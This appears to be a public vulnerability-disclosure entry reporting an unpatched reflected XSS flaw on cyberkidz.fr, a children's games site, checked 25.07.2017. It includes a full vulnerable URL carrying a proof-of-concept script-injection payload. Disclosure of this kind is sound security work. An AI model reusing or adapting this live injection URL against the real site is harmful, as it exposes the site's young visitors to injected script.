cyberkidz.fr XSS vulnerability

Vulnerable URL: http://www.cyberkidz.fr/cyberkidz/jeu.php?spelUrl=library/rekenen/groep1/rekenen2/=textrecherche=%22%3E%3Cscript%3Ealert%28%27XSSPOSED%27%29%3C%2Fscript%3E=1=rekenen Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS...